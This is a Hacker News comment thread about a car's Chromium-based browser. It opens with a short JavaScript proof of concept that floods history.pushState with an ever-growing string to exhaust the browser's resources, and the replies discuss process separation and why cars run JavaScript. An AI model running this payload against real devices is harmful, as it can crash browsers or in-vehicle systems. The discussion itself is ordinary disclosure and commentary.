Hacker News new | ask | show | jobs
by nickodell 2283 days ago
Here's the vulnerability:

    <html>
    <script>
        var total = "";
        for (var i = 0; i < 100000; i++) {
            total = total + i.toString();
            history.pushState(0, 0, total);
        }
    </script>
    </html>
3 comments
root_axis 2283 days ago
Pretty funny. There's a joke in there about running javascript in your car.
link
fulafel 2282 days ago
Terminology nit: the vulnerability is the improper process separation. That JS snippet is a PoC demonstrating the vulnerability.
link
mister_hn 2282 days ago
Why do they allow JavaScript at all?
link
speedgoose 2282 days ago
The car has a chromium based web browser. The web uses javascript.
link
mister_hn 2276 days ago
but it isn't a must. Just block it from executing it on a car
link